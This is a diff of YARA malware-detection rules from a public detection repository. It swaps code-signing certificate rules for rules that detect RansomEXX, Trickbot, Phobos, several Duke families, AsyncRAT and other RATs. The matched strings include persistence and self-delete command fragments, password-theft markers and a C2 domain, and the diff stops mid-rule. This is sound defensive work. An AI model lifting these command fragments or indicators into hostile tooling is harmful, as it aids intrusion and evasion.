-		logic_hash = "867844464609a043902f07aad3fa568b482259655bc181d992bd409437165790"
+		logic_hash = "5026726f093b31b444fc934ac1446b6c25f182b8714a37da05f4498f32a9a65f"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "2ea2c7625c1a42fff63f0b17cfc4fd0c0f76d7eb45a86b18ec9a630d3d8ad913"
-		importance = 20
+
+	strings:
+		$x1 = "MainServer.dll" fullword ascii
+		$x2 = "NvSmartMax.dat" fullword wide
+		$x3 = "NvSmartMax.dll" fullword wide
+		$x4 = "http://+:80/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7/" fullword wide
+		$s1 = "IP retriever" fullword wide
+		$s2 = "\\cmd.exe" fullword wide
+		$s3 = "\\msnetwork-cache.db" fullword wide
+		$s4 = "http://+:" wide
+		$s5 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" fullword wide
+		$s6 = "\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup" ascii
+		$s7 = "Got a unknown request for %ws" wide
+		$s8 = "HttpReceiveRequestEntityBody failed with %lu" wide
+		$s9 = "FD873AC4-CF86-4FED-84EC-4BD59C6F17A7" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FABO SP Z O O" and pe.signatures[i].serial=="00:ca:7d:54:57:72:43:93:4f:66:5f:d1:d4:43:85:5a:3d")
+		uint16(0)==0x5a4d and ( all of ($x*) or 6 of ($s*) or (2 of ($x*) and 4 of ($s*)) or (2 of them and pe.exports("daemon") and pe.exports("run") and pe.exports("session") and pe.exports("work")))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7709D2Df39E9A4F7Db2F3Cbc29B49743 : FILE
+rule DITEKSHEN_MALWARE_Linux_Ransomexx : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "55e8815f-0885-5eb0-bf85-05bbd874a821"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects RansomEXX ransomware"
+		author = "ditekshen"
+		id = "b449afc7-9055-55ed-a876-316d1aea8fee"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2196-L2207"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3834-L3858"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b63fa6e4e92549ae92b9a414390471c49fd50010bb7e10e1db72ff53370a6354"
+		logic_hash = "c233ccc3e741cb2c53f182c48093e41595a82a3f4e5bdb1dc0204f1f57b96c2a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "04349ba0f4d74f46387cee8a13ee72ab875032b4396d6903a6e9e7f047426de8"
-		importance = 20
+		clamav_sig = "MALWARE.Linux.Ransomware.RansomEXX"
+
+	strings:
+		$c1 = "crtstuff.c" fullword ascii
+		$c2 = "cryptor.c" fullword ascii
+		$c3 = "ransomware.c" fullword ascii
+		$c4 = "logic.c" fullword ascii
+		$c5 = "enum_files.c" fullword ascii
+		$c6 = "readme.c" fullword ascii
+		$c7 = "ctr_drbg.c" fullword ascii
+		$s1 = "regenerate_pre_data" fullword ascii
+		$s2 = "g_RansomHeader" fullword ascii
+		$s3 = "CryptOneBlock" fullword ascii
+		$s4 = "RansomLogic" fullword ascii
+		$s5 = "CryptOneFile" fullword ascii
+		$s6 = "encrypt_worker" fullword ascii
+		$s7 = "list_dir" fullword ascii
+		$s8 = "ctr_drbg_update_internal" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Grina LLC" and pe.signatures[i].serial=="77:09:d2:df:39:e9:a4:f7:db:2f:3c:bc:29:b4:97:43")
+		uint16(0)==0x457f and (5 of ($c*) or 6 of ($s*) or (3 of ($c*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_186D49Fac34Ce99775B8E7Ffbf50679D : FILE
+rule DITEKSHEN_MALWARE_Win_Trickbotmodule : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "eeea3085-9fd7-5077-8c13-e0c4438b2e79"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Trickbot modules"
+		author = "ditekshen"
+		id = "c56c664f-5928-5e2e-ab06-0b9d504981be"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2209-L2220"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3860-L3881"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "950b14787e707be843d1443a612c372ceb0c2830de20bce1f62317fa39149e5b"
+		logic_hash = "4d06653dad5f8a18598855212548364b3c3d2b68b99784846b494fcb1d1c8df9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "812a80556775d658450362e1b3650872b91deba44fef28f17c9364add5aa398e"
-		importance = 20
+
+	strings:
+		$mc = "<moduleconfig>" ascii
+		$s1 = "<autostart>" ascii
+		$s2 = "<nohead>" ascii
+		$s3 = "<needinfo" ascii
+		$s4 = "<conf ctl" ascii
+		$s5 = "<limit>" ascii
+		$w1 = "<sys>yes</sys>" ascii
+		$w2 = "<sys>no</sys>" ascii
+		$w3 = "<autostart>yes</autostart>" ascii
+		$w4 = "<autostart>no</autostart>" ascii
+		$w5 = "<nohead>yes</nohead>" ascii
+		$w6 = "<nohead>no</nohead>" ascii
+		$w7 = /<limit>\d+<\/limit>/ ascii
+		$w8 = "<moduleconfig> </moduleconfig" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Hairis LLC" and pe.signatures[i].serial=="18:6d:49:fa:c3:4c:e9:97:75:b8:e7:ff:bf:50:67:9d")
+		uint16(0)==0x5a4d and $mc and (2 of ($s*) or (1 of ($s*) and 1 of ($w*)) or 1 of ($w*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0097Df46Acb26B7C81A13Cc467B47688C8 : FILE
+rule DITEKSHEN_MALWARE_Win_Gaudox : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "1c281766-abd4-534b-9442-233369e1f55e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Gaudox RAT"
+		author = "ditekshen"
+		id = "c60ac433-20a1-5f01-9447-fa99621bd9e2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2222-L2233"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3883-L3893"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ab4da0ddd001acf9f8d78c4beb28c648f8516088561e3140739b4b41d93b58ef"
+		logic_hash = "117ee89e264067ab3e695688872bbe7d83963731e877d04ac7e2505e64f6e793"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "54c4929195fafddfd333871471a015fa68092f44e2f262f2bbf4ee980b41b809"
-		importance = 20
+
+	strings:
+		$s1 = "hdr=%s&tid;=%s&cid;=%s&trs;=%i" ascii wide
+		$s2 = "\\\\\\\\.\\\\PhysicalDrive%u" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Information Civilized System Oy" and pe.signatures[i].serial=="00:97:df:46:ac:b2:6b:7c:81:a1:3c:c4:67:b4:76:88:c8")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2A52Acb34Bd075Ac9F58771D2A4Bbfba : FILE
+rule DITEKSHEN_MALWARE_Win_Phobos : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "2d6b6ff5-e081-5e91-b03f-6e0d02afdb8f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Phobos ransomware"
+		author = "ditekshen"
+		id = "7bf659ef-f2a1-5ee2-a334-c233e26a2526"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2235-L2246"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3895-L3908"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9ffad34a94e9210bb98021c0ee0ddba4144406cca976537efe24e63367a295cd"
+		logic_hash = "bbf8eef0863e9d6423b3b0f938561b2be486b92b4f59b5d0b67f52dba536a582"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "c839065a159bec7e63bfdcb1794889829853c07f7a931666f4eb84103302c1c9"
-		importance = 20
+
+	strings:
+		$x1 = "\\\\?\\UNC\\\\\\e-" fullword wide
+		$x2 = "\\\\?\\ :" fullword wide
+		$x3 = "POST" fullword wide
+		$s1 = "ELVL" fullword wide
+		$s2 = /SUP\d{3}/ fullword wide
+		$s3 = { 41 31 47 ?? 41 2b }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Katarzyna Galganek mim e coc" and pe.signatures[i].serial=="2a:52:ac:b3:4b:d0:75:ac:9f:58:77:1d:2a:4b:bf:ba")
+		uint16(0)==0x5a4d and all of ($x*) and 1 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5A9D897077A22Afe7Ad4C4A01Df6C418 : FILE
+rule DITEKSHEN_MALWARE_Win_Ratty : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "e44fcc54-9d0c-5b9b-a34a-03f31ae5333d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Ratty Java RAT"
+		author = "ditekshen"
+		id = "87719e28-dfe7-5366-8d90-65e6c0c6fb4f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2248-L2259"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3910-L3929"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f82b59f5d1996ae37b0cb7f7a799e2fcc7d9da0ffddfe63cbbb84b6f0e7e7b23"
+		logic_hash = "d90bca1b18023da8e60cb6ca86d1c562bff3867c6d5cf893dce605ebb92b9637"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "50fa9d22557354a078767cb61f93de9abe491e3a8cb69c280796c7c20eabd5b9"
-		importance = 20
+
+	strings:
+		$s1 = "/rat/RattyClient.class" ascii
+		$s2 = "/rat/ActiveConnection.class" ascii
+		$s3 = "/rat/attack/" ascii
+		$s4 = "/rat/gui/swing/Ratty" ascii
+		$s5 = "/rat/packet/PasswordPacket" ascii
+		$s6 = "/rat/packet/" ascii
+		$e1 = "/engine/Keyboard.class" ascii
+		$e2 = "/engine/IMouseListener.class" ascii
+		$e3 = "/engine/Screen$ResizeBehavior.class" ascii
+		$e4 = "/engine/fx/ISoundListener.class" ascii
+		$e5 = "/engine/net/TCPServer.class" ascii
+		$e6 = "/engine/noise/PerlinNoise.class" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Klarens LLC" and pe.signatures[i].serial=="5a:9d:89:70:77:a2:2a:fe:7a:d4:c4:a0:1d:f6:c4:18")
+		( uint16(0)==0x5a4d or uint16(0)==0xcfd0 or uint16(0)==0x4b50) and (3 of ($s*) or all of ($e*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D7C432E8D4Edef515Bfb9D1C214Ff0F5 : FILE
+rule DITEKSHEN_MALWARE_Win_Fatduke : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects FatDuke"
 		author = "ditekSHen"
-		id = "fc3fd388-91f6-5f53-a284-4ef0a7d22290"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "dc80c0f0-c61c-5f0c-841b-3a75e8a1cef3"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2261-L2272"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3931-L3946"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9ef64774a0b6b11820321cd36d49213ad245cea82960aab99bb18e44a2ee79a8"
+		logic_hash = "a7923d15b10098e9402614fe7107a6ba1d71512efa6e462d522ef64e13f82b47"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6256d3ca79330f7bd912a88e59f9a4f3bdebdcd6b9c55cda4e733e26583b3d61"
-		importance = 20
+
+	strings:
+		$s1 = "\\\\?\\Volume" fullword ascii
+		$s2 = "WINHTTP_AUTOPROXY_OPTIONS@@PAUWINHTTP_PROXY_INFO@@" ascii
+		$s3 = "WINHTTP_CURRENT_USER_IE_PROXY_CONFIG@@" ascii
+		$s4 = "Cannot write a Cannot find the too long string mber of records Log malfunction! Cannot create ain an invalid ra Internal sync iright function iWaitForSingleObjffsets" ascii
+		$pattern = "()$^.*+?[]|\\-{},:=!" ascii
+		$b64 = "eyJjb25maWdfaWQiOi" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LLC \"MILKY PUT\"" and pe.signatures[i].serial=="00:d7:c4:32:e8:d4:ed:ef:51:5b:fb:9d:1c:21:4f:f0:f5")
+		uint16(0)==0x5a4d and (3 of ($s*) or ($b64 and 2 of them ) or (#pattern>3 and 2 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0085E1Af2Be0F380E5A5D11513Ddf45Fc6 : FILE
+rule DITEKSHEN_MALWARE_Win_Miniduke : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects MiniDuke"
 		author = "ditekSHen"
-		id = "d55fd5ca-0e20-51de-84b6-f30dd2660529"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "947cd414-d19d-5543-8961-94aef69cc94e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2274-L2285"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3948-L3969"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5a86b9aecf7697bd8e1f40407934c6a9941714404a931b0f1bed4ae7440f6921"
+		logic_hash = "c3ab139b4fda2ff9678ceecbdf5ac0c57536bd658f62aa9d19610028b0a5f92c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e9849101535b47ff2a67e4897113c06f024d33f575baa5b426352f15116b98b4"
-		importance = 20
+
+	strings:
+		$s1 = "DefPipe" fullword ascii
+		$s2 = "term %5d" fullword ascii
+		$s3 = "pid %5d" fullword ascii
+		$s4 = "uptime %5d.%02dh" fullword ascii
+		$s5 = "login: %s\\%s" fullword ascii
+		$s6 = "Software\\Microsoft\\ApplicationManager" ascii
+		$s7 = { 69 64 6c 65 ?? 00 73 74 6f 70 ?? 00 61 63 63 65 70 74 ?? 00 63 6f 6e 6e 65 63 74 ?? 00 6c 69 73 74 65 6e ?? 00 }
+		$net1 = "salesappliances.com" ascii
+		$net2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36" fullword ascii
+		$net3 = "http://10." ascii
+		$net4 = "JiM9t8g7j8KoJkLJlKqka8dbo7q5z4v5u3o4z" ascii
+		$net5 = "application/octet-stream" ascii
+		$net6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Makke Digital Works" and pe.signatures[i].serial=="00:85:e1:af:2b:e0:f3:80:e5:a5:d1:15:13:dd:f4:5f:c6")
+		uint16(0)==0x5a4d and (5 of ($s*) or 4 of ($net*) or 7 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_02Aa497D39320Fc979Ad96160D90D410 : FILE
+rule DITEKSHEN_MALWARE_Win_Polyglotduke : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PolyGlotDuke"
 		author = "ditekSHen"
-		id = "9387010e-94f5-5787-b30f-609d98c48ddf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "01ac90db-35f6-5192-8630-81000573b4f9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2287-L2298"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3971-L3986"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "762b1730c8cfcf5a89e49858723d5701c1fb958eb2cd4da5b240f21763cdabf8"
+		logic_hash = "c1fb8ea1d21768cbd65bd7b91e3f817fa97a0a933b511dff2ae4d5db49bdb2ec"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "33e8e72a75d6f424c5a10d2b771254c07a7d9c138e5fea703117fe60951427ae"
-		importance = 20
+
+	strings:
+		$s1 = { 48 b9 ff ff ff ff ff ff ff ff 51 48 23 8c 24 ?? 00 00 00 48 89 8C 24 00 00 00 00 }
+		$s2 = { 56 be ff ff ff ff 56 81 e6 7f }
+		$s3 = { 48 8b 05 19 ?4 4b 00 48 05 48 83 00 00 4c 8b 44 24 50 8b 54 24 48 48 8b }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MATCHLESS GIFTS, INC." and pe.signatures[i].serial=="02:aa:49:7d:39:32:0f:c9:79:ad:96:16:0d:90:d4:10")
+		uint16(0)==0x5a4d and ( all of ($s*)) or (2 of them and pe.exports("InitSvc"))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_D0B094274C761F367A8Eaea08E1D9C8F : FILE
+rule DITEKSHEN_MALWARE_Win_Guidlma : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Guildma"
 		author = "ditekSHen"
-		id = "3683b66b-3dc0-5b89-be71-1e1267ef7de8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "135ddc6a-5001-54c0-a66c-3e0e5fe6319f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2300-L2311"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3988-L4006"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5ce9be0bdd8350dd5a8ae8cf2447d1be6b34ee3abc5c19754c63ef03b7cccec9"
+		logic_hash = "11a0d9c67139627b6820c928840d816ed22b48452ce0b2f856c86c183cdfc8ab"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "e94a9d81c4a67ef953fdb27aad6ec8fa347e6903b140d21468066bdca8925bc5"
-		importance = 20
+
+	strings:
+		$v1_1 = "marxvxinhhm98.dll" fullword wide
+		$v1_2 = "marxvxinhhmxa.gif" fullword wide
+		$v1_3 = "marxvxinhhmxb.gif" fullword wide
+		$v1_4 = "c:\\programdata" fullword wide
+		$v1_5 = "\\tempa\\" fullword wide
+		$v2_1 = "C:\\Windows\\System32\\dllhost.exe" fullword ascii
+		$v2_2 = "C:\\Windows\\SysWOW64\\dllhost.exe" fullword ascii
+		$v2_3 = "C:\\Users\\Public\\go" fullword ascii
+		$v2_4 = ":%:*:/:>:C:H:W:\\:a:p:u:z:" fullword ascii
+		$v2_5 = ": :%:*:9:>:C:R:W:\\:k:p:u:" fullword ascii
+		$v2_6 = ":*:/:4:C:H:M:\\:a:f:u:z:" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Nsasoft US LLC" and pe.signatures[i].serial=="d0:b0:94:27:4c:76:1f:36:7a:8e:ae:a0:8e:1d:9c:8f")
+		uint16(0)==0x5a4d and 3 of ($v1*) or 5 of ($v2*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D59A05955A4A421500F9561Ce983Aac4 : FILE
+rule DITEKSHEN_MALWARE_Win_Cybergate : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects CyberGate/Spyrat/Rebhip RTA"
 		author = "ditekSHen"
-		id = "97c4e8fa-8d66-500f-a63f-fac84ad9e508"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3b50ccfb-6603-5002-8ceb-e9252d4c7dff"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2313-L2324"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4008-L4026"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9187dcdbf29e5119d90ede266a14c7e46f5050800a38c57fa86e957c885c1d60"
+		logic_hash = "b4a3c07533c2b251e1a714b28fb0b654c76881fb6ce970f6586c5908ee65609b"
 		score = 75
-		quality = 75
+		quality = 46
 		tags = "FILE"
-		thumbprint = "7f56555ac8479d4e130a89e787b7ff2f47005cc02776cf7a30a58611748c4c2e"
-		importance = 20
+
+	strings:
+		$s1 = "UnitInjectLibrary" ascii
+		$s2 = "TLoader" fullword ascii
+		$s3 = "\\\\.\\SyserDbgMsg" fullword ascii
+		$s4 = "\\\\.\\SyserBoot" fullword ascii
+		$s5 = "\\signons" ascii
+		$s6 = "####@####" ascii
+		$s7 = "XX-XX-XX-XX" fullword ascii
+		$s8 = "EditSvr" ascii
+		$s9 = "_x_X_PASSWORDLIST_X_x_" fullword ascii
+		$s10 = "L$_RasDefaultCredentials#0" fullword ascii
+		$s11 = "password" nocase ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Olymp LLC" and pe.signatures[i].serial=="00:d5:9a:05:95:5a:4a:42:15:00:f9:56:1c:e9:83:aa:c4")
+		uint16(0)==0x5a4d and 8 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_35590Ebe4A02Dc23317D8Ce47A947A9B : FILE
+rule DITEKSHEN_MALWARE_Win_WSHRATJS : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects WSHRAT JS variants"
 		author = "ditekSHen"
-		id = "36630916-26df-5d2c-8faf-9fa2e240bff3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7dbaea67-48dc-5fb8-ba58-b0d6eeca207b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2326-L2337"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4028-L4045"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c01f9ecb1e69f6d0cb8061930cda27469eb18be19c0471192b31d516cddf828f"
+		logic_hash = "9956ed4613ac403360ab0222a7ed62350fcd998710843bd6700717f8bbb5052e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d9b60a67cf3c8964be1e691d22b97932d40437bfead97a84c1350a2c57914f28"
-		importance = 20
+
+	strings:
+		$charset_full = "us-ascii" nocase ascii
+		$charset_begin = "\"us-\"" nocase ascii
+		$charset_end = "Array(97,115,99,105,105)" nocase ascii
+		$wsc_object1 = "WScript.CreateObject(\"System.Text.UTF8Encoding" nocase ascii
+		$wsc_object2 = "WScript.CreateObject(\"Adodb.Stream" nocase ascii
+		$wsc_object3 = "WScript.CreateObject(\"Microsoft.XmlDom" nocase ascii
+		$s1 = "function(){return" ascii
+		$s2 = "}catch(err){" ascii
+		$s3 = "{item: \"bin.base64\"}" nocase ascii
+		$s4 = "* 1].item =" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Largos" and pe.signatures[i].serial=="35:59:0e:be:4a:02:dc:23:31:7d:8c:e4:7a:94:7a:9b")
+		filesize <400KB and ($charset_full or ($charset_begin and $charset_end)) and 2 of ($wsc_object*) and 3 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1F23F001458716D435Cca1A55D660Ec5 : FILE
+rule DITEKSHEN_MALWARE_Win_Asyncrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects AsyncRAT"
 		author = "ditekSHen"
-		id = "16a904e4-bf1a-5530-9269-d92c0f1bb4d3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6465b50d-8f1a-5c09-84fd-cd1e5994e68f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2339-L2350"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4047-L4074"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3e91429f7b25ad54103ee230a36d4b51060adb458b533b9cbd00178a02676629"
-		score = 75
-		quality = 75
+		logic_hash = "073d4a8667fb1a48bf2bd503a551d7f78e38a6066feedc646d92c27fb7201fca"
+		score = 60
+		quality = 35
 		tags = "FILE"
-		thumbprint = "934d9357b6fb96f7fb8c461dd86824b3eed5f44a65c10383fe0be742c8c9b60e"
-		importance = 20
+
+	strings:
+		$x1 = "AsyncRAT" fullword ascii
+		$x2 = "AsyncRAT 0." wide
+		$x3 = /AsyncRAT\s[0-9]\.[0-9]\.[0-9][A-Z]/ fullword wide
+		$s1 = "/create /sc onlogon /rl highest /tn" fullword wide
+		$s2 = "/C choice /C Y /N /D Y /T 1 & Del \"" fullword wide
+		$s3 = "{{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }}" fullword wide
+		$s4 = "Stub.exe" fullword ascii wide
+		$s5 = "\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS\\UCKH" ascii wide
+		$s6 = "VirtualBox" fullword ascii wide
+		$s7 = "/target:winexe /platform:x86 /optimize+" fullword ascii wide
+		$s8 = "Win32_ComputerSystem" ascii wide
+		$s9 = "Win32_Process Where ParentProcessID=" ascii wide
+		$s10 = "etirWgeR.llehShsW" ascii wide
+		$s11 = "usbSpread" fullword ascii wide
